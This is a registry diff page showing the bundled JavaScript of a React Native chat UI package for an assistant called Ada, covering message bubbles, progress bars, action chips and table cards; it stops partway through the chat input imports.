@ateam-ai-mobile/ui 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.mjs ADDED
@@ -0,0 +1,1853 @@
1
+ // src/AdasChatScreen.tsx
2
+ import { useCallback as useCallback3, useEffect as useEffect3, useMemo, useRef as useRef3, useState as useState4 } from "react";
3
+ import {
4
+ FlatList,
5
+ KeyboardAvoidingView,
6
+ Platform as Platform5,
7
+ RefreshControl,
8
+ StyleSheet as StyleSheet8,
9
+ View as View8
10
+ } from "react-native";
11
+ import { ada as ada5, useChatStore, pluginCommandEmitter } from "@ateam-ai-mobile/core";
12
+
13
+ // src/chat/MessageBubble.tsx
14
+ import { useState as useState2, useCallback } from "react";
15
+ import { View as View4, Text as Text4, Pressable as Pressable2, StyleSheet as StyleSheet4, Image, Platform as Platform3 } from "react-native";
16
+ import Markdown from "react-native-markdown-display";
17
+ import { TABLE_BLOCK_OPEN, TABLE_BLOCK_CLOSE, getConfig, ada as ada4, borderRadius as borderRadius3, fontSize as fontSize4 } from "@ateam-ai-mobile/core";
18
+ import { AdaOrb, getHaptics as getHaptics2 } from "@ateam-ai-mobile/plugin-runtime";
19
+
20
+ // src/chat/JobProgressBar.tsx
21
+ import { useEffect, useRef, useState } from "react";
22
+ import { View, Text, Animated, StyleSheet } from "react-native";
23
+ import { ada, fontSize } from "@ateam-ai-mobile/core";
24
+ import { jsx, jsxs } from "react/jsx-runtime";
25
+ var WARM_GREEN = "#5A8A5C";
26
+ var WARM_GREEN_SOFT = "rgba(90, 138, 92, 0.14)";
27
+ var WARM_RED = "#C15545";
28
+ var WARM_RED_SOFT = "rgba(193, 85, 69, 0.14)";
29
+ var WARM_AMBER = "#D49A4E";
30
+ var WARM_AMBER_SOFT = "rgba(212, 154, 78, 0.16)";
31
+ function JobProgressBar({ progress }) {
32
+ const pulseAnim = useRef(new Animated.Value(0.5)).current;
33
+ const [elapsed, setElapsed] = useState(0);
34
+ const isRunning = progress.status === "running";
35
+ const isDone = progress.status === "done";
36
+ const isError = progress.status === "error";
37
+ const isPaused = progress.status === "paused";
38
+ useEffect(() => {
39
+ if (!isRunning) {
40
+ pulseAnim.setValue(1);
41
+ return;
42
+ }
43
+ const anim = Animated.loop(
44
+ Animated.sequence([
45
+ Animated.timing(pulseAnim, { toValue: 1, duration: 800, useNativeDriver: true }),
46
+ Animated.timing(pulseAnim, { toValue: 0.5, duration: 800, useNativeDriver: true })
47
+ ])
48
+ );
49
+ anim.start();
50
+ return () => anim.stop();
51
+ }, [isRunning, pulseAnim]);
52
+ useEffect(() => {
53
+ if (!isRunning || !progress.chainStartedAt) {
54
+ setElapsed(0);
55
+ return;
56
+ }
57
+ const start = progress.chainStartedAt;
58
+ setElapsed(Math.floor((Date.now() - start) / 1e3));
59
+ const id = setInterval(() => {
60
+ setElapsed(Math.floor((Date.now() - start) / 1e3));
61
+ }, 1e3);
62
+ return () => clearInterval(id);
63
+ }, [isRunning, progress.chainStartedAt]);
64
+ const statusColor = isDone ? WARM_GREEN : isError ? WARM_RED : isPaused ? WARM_AMBER : ada.orange;
65
+ const statusBg = isDone ? WARM_GREEN_SOFT : isError ? WARM_RED_SOFT : isPaused ? WARM_AMBER_SOFT : ada.orangeSoft;
66
+ if (isDone || isError) {
67
+ return /* @__PURE__ */ jsx(View, { style: styles.container, children: /* @__PURE__ */ jsxs(View, { style: styles.row, children: [
68
+ /* @__PURE__ */ jsx(View, { style: [styles.dot, { backgroundColor: statusColor }] }),
69
+ /* @__PURE__ */ jsx(Text, { style: [styles.label, { color: statusColor }], children: isDone ? "Completed" : "Failed" })
70
+ ] }) });
71
+ }
72
+ if (isPaused) {
73
+ return /* @__PURE__ */ jsx(View, { style: styles.container, children: /* @__PURE__ */ jsxs(View, { style: styles.row, children: [
74
+ /* @__PURE__ */ jsx(View, { style: [styles.dot, { backgroundColor: statusColor }] }),
75
+ /* @__PURE__ */ jsx(Text, { style: [styles.label, { color: statusColor }], children: "Waiting for your reply" })
76
+ ] }) });
77
+ }
78
+ const elapsedStr = progress.chainStartedAt ? `${Math.floor(elapsed / 60)}:${String(elapsed % 60).padStart(2, "0")}` : null;
79
+ const metaParts = [
80
+ progress.iteration != null && progress.iteration > 0 ? `iter ${progress.iteration}` : null,
81
+ elapsedStr
82
+ ].filter(Boolean);
83
+ const lp = progress.liveProgress;
84
+ return /* @__PURE__ */ jsxs(View, { style: styles.container, children: [
85
+ /* @__PURE__ */ jsxs(View, { style: styles.row, children: [
86
+ /* @__PURE__ */ jsx(
87
+ Animated.View,
88
+ {
89
+ style: [styles.dot, { backgroundColor: ada.orange, opacity: pulseAnim }]
90
+ }
91
+ ),
92
+ /* @__PURE__ */ jsx(Text, { style: styles.skill, numberOfLines: 1, children: progress.skillSlug || "Processing..." }),
93
+ !!progress.currentTool && /* @__PURE__ */ jsx(Text, { style: styles.tool, numberOfLines: 1, children: ` \u2192 ${progress.currentTool}` }),
94
+ metaParts.length > 0 && /* @__PURE__ */ jsx(Text, { style: styles.meta, numberOfLines: 1, children: ` \xB7 ${metaParts.join(" \xB7 ")}` })
95
+ ] }),
96
+ !!lp?.message && /* @__PURE__ */ jsxs(View, { style: styles.liveProgressRow, children: [
97
+ lp.step != null && lp.total != null && /* @__PURE__ */ jsxs(Text, { style: styles.liveProgressStep, children: [
98
+ "[",
99
+ lp.step,
100
+ "/",
101
+ lp.total,
102
+ "]"
103
+ ] }),
104
+ /* @__PURE__ */ jsx(Text, { style: styles.liveProgressMsg, numberOfLines: 1, children: lp.message })
105
+ ] }),
106
+ /* @__PURE__ */ jsx(View, { style: [styles.progressTrack, { backgroundColor: statusBg }], children: /* @__PURE__ */ jsx(
107
+ Animated.View,
108
+ {
109
+ style: [styles.progressFill, { backgroundColor: ada.orange, opacity: pulseAnim }]
110
+ }
111
+ ) })
112
+ ] });
113
+ }
114
+ var styles = StyleSheet.create({
115
+ container: {
116
+ marginTop: 8,
117
+ paddingTop: 8,
118
+ borderTopWidth: 1,
119
+ borderTopColor: ada.border
120
+ },
121
+ row: {
122
+ flexDirection: "row",
123
+ alignItems: "center",
124
+ flexWrap: "nowrap",
125
+ overflow: "hidden"
126
+ },
127
+ dot: {
128
+ width: 7,
129
+ height: 7,
130
+ borderRadius: 4,
131
+ marginRight: 6,
132
+ flexShrink: 0
133
+ },
134
+ label: {
135
+ fontSize: fontSize.xs,
136
+ fontWeight: "600"
137
+ },
138
+ // Running state text segments
139
+ skill: {
140
+ fontSize: fontSize.xs,
141
+ fontWeight: "600",
142
+ color: ada.orange,
143
+ flexShrink: 1
144
+ },
145
+ tool: {
146
+ fontSize: fontSize.xs,
147
+ color: ada.inkMuted,
148
+ flexShrink: 2
149
+ },
150
+ meta: {
151
+ fontSize: fontSize.xs,
152
+ color: ada.inkMuted,
153
+ flexShrink: 0
154
+ },
155
+ liveProgressRow: {
156
+ flexDirection: "row",
157
+ alignItems: "center",
158
+ marginTop: 4,
159
+ gap: 4
160
+ },
161
+ liveProgressStep: {
162
+ fontSize: fontSize.xs,
163
+ fontWeight: "600",
164
+ color: ada.inkMuted
165
+ },
166
+ liveProgressMsg: {
167
+ fontSize: fontSize.xs,
168
+ color: ada.orange,
169
+ flex: 1
170
+ },
171
+ progressTrack: {
172
+ height: 3,
173
+ borderRadius: 2,
174
+ marginTop: 6,
175
+ overflow: "hidden"
176
+ },
177
+ progressFill: {
178
+ height: "100%",
179
+ width: "60%",
180
+ borderRadius: 2
181
+ }
182
+ });
183
+
184
+ // src/chat/UIActionsRow.tsx
185
+ import { View as View2, Text as Text2, Pressable, StyleSheet as StyleSheet2, Platform } from "react-native";
186
+ import { ada as ada2, fontSize as fontSize2 } from "@ateam-ai-mobile/core";
187
+ import { useSurfaceStore, getHaptics } from "@ateam-ai-mobile/plugin-runtime";
188
+
189
+ // src/providers.ts
190
+ var _clipboard = null;
191
+ function setClipboardProvider(clipboard) {
192
+ _clipboard = clipboard;
193
+ }
194
+ function getClipboard() {
195
+ return _clipboard;
196
+ }
197
+ var _navigator = null;
198
+ function setUIActionNavigator(navigate) {
199
+ _navigator = navigate;
200
+ }
201
+ function getUIActionNavigator() {
202
+ return _navigator;
203
+ }
204
+
205
+ // src/chat/UIActionsRow.tsx
206
+ import { jsx as jsx2, jsxs as jsxs2 } from "react/jsx-runtime";
207
+ var fontFam = Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
208
+ var ICON_MAP = {
209
+ timer: "\u23F1",
210
+ memory: "\u{1F9E0}",
211
+ calendar: "\u{1F4C5}",
212
+ home: "\u{1F3E0}",
213
+ bell: "\u{1F514}",
214
+ star: "\u2B50",
215
+ bolt: "\u26A1"
216
+ };
217
+ function UIActionsRow({ actions }) {
218
+ if (!Array.isArray(actions) || actions.length === 0) return null;
219
+ const handlePress = (a) => {
220
+ getHaptics()?.selection();
221
+ const id = a.pluginId || a.target;
222
+ if (!id) return;
223
+ const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
224
+ const surface = useSurfaceStore.getState().manifests[id];
225
+ if (surface) {
226
+ useSurfaceStore.getState().show(id, focus ? { focus } : void 0);
227
+ return;
228
+ }
229
+ const params = {};
230
+ if (focus) params.focus = String(focus);
231
+ if (a.intent === "suggested_action" && a.payload?.tool) {
232
+ params.tool = String(a.payload.tool);
233
+ if (a.payload?.args) {
234
+ try {
235
+ params.args = JSON.stringify(a.payload.args);
236
+ } catch {
237
+ }
238
+ }
239
+ }
240
+ if (a.intent === "quick_toggle" && a.payload?.verb) {
241
+ params.verb = String(a.payload.verb);
242
+ }
243
+ const navigate = getUIActionNavigator();
244
+ if (!navigate) {
245
+ console.warn("[UIActionsRow] no navigator registered \u2014 call setUIActionNavigator() in the host to handle plugin chips");
246
+ return;
247
+ }
248
+ navigate({ pluginId: id, params });
249
+ };
250
+ return /* @__PURE__ */ jsx2(View2, { style: styles2.row, children: actions.map((a, i) => {
251
+ const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
252
+ return /* @__PURE__ */ jsxs2(
253
+ Pressable,
254
+ {
255
+ accessibilityRole: "button",
256
+ accessibilityLabel: a.description || a.label,
257
+ onPress: () => handlePress(a),
258
+ style: ({ pressed }) => [styles2.chip, pressed && styles2.chipPressed],
259
+ children: [
260
+ icon ? /* @__PURE__ */ jsx2(Text2, { style: styles2.icon, children: icon }) : null,
261
+ /* @__PURE__ */ jsx2(Text2, { style: styles2.label, numberOfLines: 1, children: a.label })
262
+ ]
263
+ },
264
+ `${a.target || "a"}-${i}`
265
+ );
266
+ }) });
267
+ }
268
+ var styles2 = StyleSheet2.create({
269
+ row: {
270
+ flexDirection: "row",
271
+ flexWrap: "wrap",
272
+ gap: 6,
273
+ marginTop: 10
274
+ },
275
+ chip: {
276
+ flexDirection: "row",
277
+ alignItems: "center",
278
+ gap: 6,
279
+ paddingHorizontal: 12,
280
+ paddingVertical: 6,
281
+ backgroundColor: ada2.orangeSoft,
282
+ borderColor: ada2.orange,
283
+ borderWidth: 1,
284
+ borderRadius: 14
285
+ },
286
+ chipPressed: {
287
+ backgroundColor: ada2.orange
288
+ },
289
+ icon: {
290
+ fontSize: 12,
291
+ lineHeight: 14
292
+ },
293
+ label: {
294
+ color: ada2.orangeDeep,
295
+ fontSize: fontSize2.xs,
296
+ fontWeight: "600",
297
+ fontFamily: fontFam
298
+ }
299
+ });
300
+
301
+ // src/chat/TableCardBlock.tsx
302
+ import { View as View3, Text as Text3, StyleSheet as StyleSheet3, Platform as Platform2 } from "react-native";
303
+ import { ada as ada3, borderRadius as borderRadius2, fontSize as fontSize3, spacing } from "@ateam-ai-mobile/core";
304
+ import { jsx as jsx3, jsxs as jsxs3 } from "react/jsx-runtime";
305
+ var fontFam2 = Platform2.OS === "ios" ? "SF Pro Rounded" : void 0;
306
+ function TableCardBlock({ columns, rows }) {
307
+ if (!columns?.length || !rows?.length) return null;
308
+ const [titleCol, ...detailCols] = columns;
309
+ return /* @__PURE__ */ jsx3(View3, { style: styles3.wrap, children: rows.map((row, i) => {
310
+ const cells = Array.isArray(row) ? row : [row];
311
+ const title = cells[0];
312
+ return /* @__PURE__ */ jsxs3(View3, { style: styles3.card, children: [
313
+ /* @__PURE__ */ jsx3(Text3, { style: styles3.title, children: String(title ?? "") }),
314
+ detailCols.length > 0 && /* @__PURE__ */ jsx3(View3, { style: styles3.details, children: detailCols.map((col, ci) => {
315
+ const value = cells[ci + 1];
316
+ if (value == null || value === "") return null;
317
+ return /* @__PURE__ */ jsxs3(View3, { style: styles3.row, children: [
318
+ /* @__PURE__ */ jsx3(Text3, { style: styles3.label, children: String(col) }),
319
+ /* @__PURE__ */ jsx3(Text3, { style: styles3.value, children: String(value) })
320
+ ] }, ci);
321
+ }) })
322
+ ] }, i);
323
+ }) });
324
+ }
325
+ var styles3 = StyleSheet3.create({
326
+ wrap: {
327
+ marginVertical: 6,
328
+ gap: 8
329
+ },
330
+ card: {
331
+ backgroundColor: ada3.paper,
332
+ borderRadius: borderRadius2.md,
333
+ borderWidth: 1,
334
+ borderColor: ada3.border,
335
+ padding: spacing.md
336
+ },
337
+ title: {
338
+ color: ada3.ink,
339
+ fontSize: fontSize3.md,
340
+ fontWeight: "600",
341
+ fontFamily: fontFam2,
342
+ letterSpacing: -0.2,
343
+ marginBottom: 6
344
+ },
345
+ details: {
346
+ gap: 4
347
+ },
348
+ row: {
349
+ flexDirection: "row",
350
+ alignItems: "flex-start",
351
+ gap: 8
352
+ },
353
+ label: {
354
+ color: ada3.inkMuted,
355
+ fontSize: fontSize3.xs,
356
+ fontFamily: fontFam2,
357
+ fontWeight: "500",
358
+ width: 84,
359
+ textTransform: "uppercase",
360
+ letterSpacing: 0.6,
361
+ paddingTop: 2
362
+ },
363
+ value: {
364
+ flex: 1,
365
+ color: ada3.inkSoft,
366
+ fontSize: fontSize3.sm,
367
+ fontFamily: fontFam2,
368
+ lineHeight: 18
369
+ }
370
+ });
371
+
372
+ // src/stores/lightboxStore.ts
373
+ import { create } from "zustand";
374
+ var useLightboxStore = create((set) => ({
375
+ uri: null,
376
+ show: (uri) => set({ uri }),
377
+ hide: () => set({ uri: null })
378
+ }));
379
+
380
+ // src/chat/MessageBubble.tsx
381
+ import { Fragment, jsx as jsx4, jsxs as jsxs4 } from "react/jsx-runtime";
382
+ var fontFam3 = Platform3.OS === "ios" ? "SF Pro Rounded" : void 0;
383
+ function formatTime(date) {
384
+ const h = date.getHours();
385
+ const m = date.getMinutes().toString().padStart(2, "0");
386
+ return `${h}:${m}`;
387
+ }
388
+ function DaySeparator({ date }) {
389
+ const today = /* @__PURE__ */ new Date();
390
+ const yesterday = new Date(today);
391
+ yesterday.setDate(yesterday.getDate() - 1);
392
+ let label;
393
+ if (isSameDay(date, today)) {
394
+ label = "Today";
395
+ } else if (isSameDay(date, yesterday)) {
396
+ label = "Yesterday";
397
+ } else {
398
+ label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
399
+ }
400
+ return /* @__PURE__ */ jsx4(View4, { style: separatorStyles.container, children: /* @__PURE__ */ jsx4(View4, { style: separatorStyles.pill, children: /* @__PURE__ */ jsx4(Text4, { style: separatorStyles.text, children: label }) }) });
401
+ }
402
+ function isSameDay(a, b) {
403
+ return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
404
+ }
405
+ var separatorStyles = StyleSheet4.create({
406
+ container: {
407
+ alignItems: "center",
408
+ marginVertical: 14
409
+ },
410
+ pill: {
411
+ backgroundColor: ada4.paperSoft,
412
+ paddingHorizontal: 14,
413
+ paddingVertical: 5,
414
+ borderRadius: 999
415
+ },
416
+ text: {
417
+ fontSize: 12,
418
+ fontWeight: "600",
419
+ color: ada4.inkMuted,
420
+ letterSpacing: 0.4,
421
+ fontFamily: fontFam3
422
+ }
423
+ });
424
+ function MessageBubble({ message }) {
425
+ const isUser = message.role === "user";
426
+ const isSystem = message.role === "system";
427
+ const isNotification = !isUser && message.kind === "notification";
428
+ const [copied, setCopied] = useState2("");
429
+ const showCopied = useCallback((label) => {
430
+ setCopied(label);
431
+ getHaptics2()?.notification("success");
432
+ setTimeout(() => setCopied(""), 1500);
433
+ }, []);
434
+ const copyText = useCallback(async (text) => {
435
+ const clipboard = getClipboard();
436
+ if (!clipboard) return;
437
+ await clipboard.setString(text);
438
+ showCopied("Copied!");
439
+ }, [showCopied]);
440
+ const handleLongPress = useCallback(() => {
441
+ copyText(message.content);
442
+ }, [message.content, copyText]);
443
+ return /* @__PURE__ */ jsxs4(View4, { style: [styles4.row, isUser && styles4.rowUser], children: [
444
+ !isUser && !isNotification && /* @__PURE__ */ jsx4(View4, { style: styles4.avatarOrb, children: /* @__PURE__ */ jsx4(
445
+ AdaOrb,
446
+ {
447
+ size: 28,
448
+ state: message.jobProgress?.status === "running" ? "thinking" : "idle"
449
+ }
450
+ ) }),
451
+ isNotification && /* @__PURE__ */ jsx4(View4, { style: styles4.notificationLeftStripe }),
452
+ /* @__PURE__ */ jsxs4(
453
+ Pressable2,
454
+ {
455
+ accessibilityRole: "text",
456
+ accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
457
+ accessibilityHint: "Long-press to copy",
458
+ onLongPress: handleLongPress,
459
+ style: [
460
+ styles4.bubble,
461
+ isUser && styles4.bubbleUser,
462
+ isSystem && styles4.bubbleSystem,
463
+ isNotification && styles4.bubbleNotification
464
+ ],
465
+ children: [
466
+ isNotification && /* @__PURE__ */ jsxs4(View4, { style: styles4.notificationHeader, children: [
467
+ /* @__PURE__ */ jsx4(Text4, { style: styles4.notificationHeaderIcon, children: "\u{1F514}" }),
468
+ /* @__PURE__ */ jsx4(Text4, { style: styles4.notificationHeaderText, children: "Notification" })
469
+ ] }),
470
+ message.attachments && message.attachments.length > 0 && /* @__PURE__ */ jsx4(View4, { style: styles4.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ jsx4(
471
+ Pressable2,
472
+ {
473
+ accessibilityRole: "imagebutton",
474
+ accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
475
+ onPress: () => useLightboxStore.getState().show(att.previewUri),
476
+ children: /* @__PURE__ */ jsx4(
477
+ Image,
478
+ {
479
+ source: {
480
+ uri: att.previewUri,
481
+ ...att.previewUri.startsWith("http") ? {
482
+ headers: { Authorization: `Bearer ${getConfig().tokenProvider.getToken()}` }
483
+ } : {}
484
+ },
485
+ style: styles4.attachmentImage,
486
+ resizeMode: "cover",
487
+ onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
488
+ }
489
+ )
490
+ },
491
+ i
492
+ ) : /* @__PURE__ */ jsx4(View4, { style: styles4.attachmentFile, children: /* @__PURE__ */ jsx4(Text4, { style: styles4.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
493
+ isUser ? (
494
+ // Hide the "See attachment" placeholder when the bubble already shows the photo.
495
+ message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ jsx4(Text4, { selectable: true, style: styles4.userText, children: message.content }) : null
496
+ ) : renderAssistantContent(message.content, copyText),
497
+ !!copied && /* @__PURE__ */ jsx4(View4, { style: styles4.copiedBadge, children: /* @__PURE__ */ jsx4(Text4, { style: styles4.copiedText, children: copied }) }),
498
+ message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ jsx4(ToolCallsBadge, { calls: message.toolCalls }),
499
+ message.jobProgress && /* @__PURE__ */ jsx4(JobProgressBar, { progress: message.jobProgress }),
500
+ !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ jsx4(UIActionsRow, { actions: message.actions }),
501
+ /* @__PURE__ */ jsx4(Text4, { style: [styles4.timeText, isUser && styles4.timeTextUser], children: formatTime(message.timestamp) })
502
+ ]
503
+ }
504
+ ),
505
+ isUser && /* @__PURE__ */ jsx4(View4, { style: styles4.avatarSpacer })
506
+ ] });
507
+ }
508
+ function renderAssistantContent(content, copyText) {
509
+ if (!content) return null;
510
+ if (!content.includes(TABLE_BLOCK_OPEN)) {
511
+ return /* @__PURE__ */ jsx4(MarkdownBubble, { content, copyText });
512
+ }
513
+ const segments = [];
514
+ let cursor = 0;
515
+ while (cursor < content.length) {
516
+ const open = content.indexOf(TABLE_BLOCK_OPEN, cursor);
517
+ if (open === -1) {
518
+ segments.push({ kind: "md", content: content.slice(cursor) });
519
+ break;
520
+ }
521
+ if (open > cursor) {
522
+ segments.push({ kind: "md", content: content.slice(cursor, open) });
523
+ }
524
+ const close = content.indexOf(TABLE_BLOCK_CLOSE, open + TABLE_BLOCK_OPEN.length);
525
+ if (close === -1) {
526
+ segments.push({ kind: "md", content: content.slice(open) });
527
+ break;
528
+ }
529
+ const payload = content.slice(open + TABLE_BLOCK_OPEN.length, close);
530
+ segments.push({ kind: "table", content: payload });
531
+ cursor = close + TABLE_BLOCK_CLOSE.length;
532
+ }
533
+ return /* @__PURE__ */ jsx4(Fragment, { children: segments.map((seg, i) => {
534
+ if (seg.kind === "md") {
535
+ const trimmed = seg.content.trim();
536
+ if (!trimmed) return null;
537
+ return /* @__PURE__ */ jsx4(MarkdownBubble, { content: seg.content, copyText }, i);
538
+ }
539
+ try {
540
+ const data = JSON.parse(decodeURIComponent(seg.content));
541
+ return /* @__PURE__ */ jsx4(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
542
+ } catch {
543
+ return null;
544
+ }
545
+ }) });
546
+ }
547
+ function MarkdownBubble({ content, copyText }) {
548
+ return /* @__PURE__ */ jsx4(
549
+ Markdown,
550
+ {
551
+ style: markdownStyles,
552
+ rules: {
553
+ code_inline: (node) => /* @__PURE__ */ jsx4(
554
+ Text4,
555
+ {
556
+ style: markdownStyles.code_inline,
557
+ onPress: () => copyText(node.content),
558
+ children: node.content
559
+ },
560
+ node.key
561
+ ),
562
+ fence: (node) => /* @__PURE__ */ jsx4(
563
+ Pressable2,
564
+ {
565
+ onPress: () => copyText(node.content),
566
+ style: markdownStyles.fence,
567
+ children: /* @__PURE__ */ jsx4(Text4, { style: markdownStyles.fenceText, children: node.content })
568
+ },
569
+ node.key
570
+ )
571
+ },
572
+ children: content
573
+ }
574
+ );
575
+ }
576
+ function ToolCallsBadge({ calls }) {
577
+ const [expanded, setExpanded] = useState2(false);
578
+ const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
579
+ return /* @__PURE__ */ jsxs4(View4, { style: styles4.toolCalls, children: [
580
+ /* @__PURE__ */ jsxs4(Pressable2, { style: styles4.toolToggle, onPress: () => setExpanded(!expanded), children: [
581
+ /* @__PURE__ */ jsx4(Text4, { style: styles4.toolLabel, children: label }),
582
+ /* @__PURE__ */ jsx4(Text4, { style: styles4.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
583
+ ] }),
584
+ expanded && calls.map((tc, i) => /* @__PURE__ */ jsxs4(View4, { style: styles4.toolItem, children: [
585
+ /* @__PURE__ */ jsx4(Text4, { style: styles4.toolName, children: tc.name }),
586
+ tc.skill && /* @__PURE__ */ jsx4(Text4, { style: styles4.toolSkill, children: tc.skill })
587
+ ] }, i))
588
+ ] });
589
+ }
590
+ var styles4 = StyleSheet4.create({
591
+ row: {
592
+ flexDirection: "row",
593
+ alignItems: "flex-end",
594
+ marginBottom: 12,
595
+ paddingHorizontal: 12,
596
+ gap: 8
597
+ },
598
+ rowUser: {
599
+ justifyContent: "flex-end"
600
+ },
601
+ avatarOrb: {
602
+ width: 28,
603
+ height: 28,
604
+ justifyContent: "center",
605
+ alignItems: "center"
606
+ },
607
+ avatarSpacer: {
608
+ width: 28,
609
+ height: 28
610
+ },
611
+ bubble: {
612
+ maxWidth: "78%",
613
+ backgroundColor: ada4.botBubble,
614
+ borderWidth: 1,
615
+ borderColor: ada4.botBubbleBorder,
616
+ borderRadius: borderRadius3.xl,
617
+ paddingHorizontal: 16,
618
+ paddingVertical: 12
619
+ },
620
+ bubbleUser: {
621
+ backgroundColor: ada4.userBubble,
622
+ borderColor: "transparent"
623
+ },
624
+ bubbleSystem: {
625
+ backgroundColor: ada4.orangeSoft,
626
+ borderColor: ada4.orange,
627
+ maxWidth: "90%"
628
+ },
629
+ bubbleNotification: {
630
+ backgroundColor: ada4.orangeSoft,
631
+ borderColor: "rgba(255, 122, 40, 0.35)",
632
+ borderRadius: borderRadius3.lg,
633
+ maxWidth: "90%"
634
+ },
635
+ notificationLeftStripe: {
636
+ width: 3,
637
+ alignSelf: "stretch",
638
+ backgroundColor: ada4.orange,
639
+ borderRadius: 2,
640
+ marginRight: 4
641
+ },
642
+ notificationHeader: {
643
+ flexDirection: "row",
644
+ alignItems: "center",
645
+ gap: 6,
646
+ marginBottom: 6
647
+ },
648
+ notificationHeaderIcon: {
649
+ fontSize: 12
650
+ },
651
+ notificationHeaderText: {
652
+ color: ada4.orangeDeep,
653
+ fontSize: 11,
654
+ fontWeight: "700",
655
+ letterSpacing: 0.6,
656
+ textTransform: "uppercase",
657
+ fontFamily: fontFam3
658
+ },
659
+ userText: {
660
+ color: ada4.userBubbleText,
661
+ fontSize: fontSize4.md,
662
+ lineHeight: 22,
663
+ fontFamily: fontFam3
664
+ },
665
+ timeText: {
666
+ fontSize: 11,
667
+ color: ada4.inkMuted,
668
+ alignSelf: "flex-end",
669
+ marginTop: 4,
670
+ fontFamily: fontFam3
671
+ },
672
+ timeTextUser: {
673
+ color: "rgba(250,246,238,0.55)"
674
+ },
675
+ attachments: {
676
+ flexDirection: "row",
677
+ flexWrap: "wrap",
678
+ gap: 6,
679
+ marginBottom: 8
680
+ },
681
+ attachmentImage: {
682
+ width: 120,
683
+ height: 90,
684
+ borderRadius: 8
685
+ },
686
+ attachmentFile: {
687
+ backgroundColor: "rgba(255,255,255,0.15)",
688
+ borderRadius: 8,
689
+ paddingHorizontal: 10,
690
+ paddingVertical: 6
691
+ },
692
+ attachmentFileName: {
693
+ color: "rgba(255,255,255,0.8)",
694
+ fontSize: 11,
695
+ maxWidth: 100
696
+ },
697
+ copiedBadge: {
698
+ position: "absolute",
699
+ top: 6,
700
+ right: 6,
701
+ backgroundColor: "#5A8A5C",
702
+ paddingHorizontal: 8,
703
+ paddingVertical: 2,
704
+ borderRadius: borderRadius3.sm
705
+ },
706
+ copiedText: {
707
+ color: "#fff",
708
+ fontSize: fontSize4.xs,
709
+ fontWeight: "600"
710
+ },
711
+ toolCalls: {
712
+ marginTop: 8,
713
+ borderTopWidth: 1,
714
+ borderTopColor: ada4.border,
715
+ paddingTop: 6
716
+ },
717
+ toolToggle: {
718
+ flexDirection: "row",
719
+ alignItems: "center",
720
+ gap: 6
721
+ },
722
+ toolLabel: {
723
+ color: ada4.inkSoft,
724
+ fontSize: fontSize4.xs,
725
+ fontWeight: "500"
726
+ },
727
+ toolChevron: {
728
+ color: ada4.inkMuted,
729
+ fontSize: 8
730
+ },
731
+ toolItem: {
732
+ marginTop: 4,
733
+ paddingLeft: 8
734
+ },
735
+ toolName: {
736
+ color: ada4.inkSoft,
737
+ fontSize: fontSize4.xs,
738
+ fontFamily: "monospace"
739
+ },
740
+ toolSkill: {
741
+ color: ada4.orangeDeep,
742
+ fontSize: fontSize4.xs
743
+ }
744
+ });
745
+ var markdownStyles = StyleSheet4.create({
746
+ body: {
747
+ color: ada4.botBubbleText,
748
+ fontSize: fontSize4.md,
749
+ lineHeight: 22,
750
+ fontFamily: fontFam3
751
+ },
752
+ paragraph: {
753
+ marginTop: 0,
754
+ marginBottom: 4
755
+ },
756
+ strong: {
757
+ fontWeight: "700",
758
+ color: ada4.botBubbleText
759
+ },
760
+ em: {
761
+ fontStyle: "italic"
762
+ },
763
+ code_inline: {
764
+ backgroundColor: ada4.paperDeep,
765
+ color: ada4.orangeDeep,
766
+ paddingHorizontal: 5,
767
+ paddingVertical: 1,
768
+ borderRadius: 4,
769
+ fontFamily: "monospace",
770
+ fontSize: fontSize4.sm
771
+ },
772
+ fence: {
773
+ backgroundColor: ada4.paperDeep,
774
+ padding: 10,
775
+ borderRadius: 10
776
+ },
777
+ fenceText: {
778
+ fontFamily: "monospace",
779
+ fontSize: fontSize4.sm,
780
+ color: ada4.ink
781
+ },
782
+ link: {
783
+ color: ada4.orangeDeep
784
+ },
785
+ list_item: {
786
+ color: ada4.botBubbleText
787
+ },
788
+ bullet_list: {
789
+ marginVertical: 4
790
+ }
791
+ });
792
+
793
+ // src/chat/TypingIndicator.tsx
794
+ import { View as View5, StyleSheet as StyleSheet5 } from "react-native";
795
+ import { AdaOrb as AdaOrb2 } from "@ateam-ai-mobile/plugin-runtime";
796
+ import { jsx as jsx5 } from "react/jsx-runtime";
797
+ function TypingIndicator() {
798
+ return /* @__PURE__ */ jsx5(View5, { style: styles5.row, children: /* @__PURE__ */ jsx5(AdaOrb2, { size: 32, state: "thinking" }) });
799
+ }
800
+ var styles5 = StyleSheet5.create({
801
+ row: {
802
+ flexDirection: "row",
803
+ alignItems: "center",
804
+ marginBottom: 12,
805
+ paddingHorizontal: 16,
806
+ paddingVertical: 4
807
+ }
808
+ });
809
+
810
+ // src/chat/ChatInput.tsx
811
+ import { useState as useState3, useRef as useRef2, useCallback as useCallback2, useEffect as useEffect2 } from "react";
812
+ import {
813
+ View as View6,
814
+ TextInput,
815
+ Pressable as Pressable3,
816
+ StyleSheet as StyleSheet6,
817
+ Platform as Platform4
818
+ } from "react-native";
819
+ import Svg, { Path, Line, Polygon } from "react-native-svg";
820
+ import { colors, borderRadius as borderRadius4 } from "@ateam-ai-mobile/core";
821
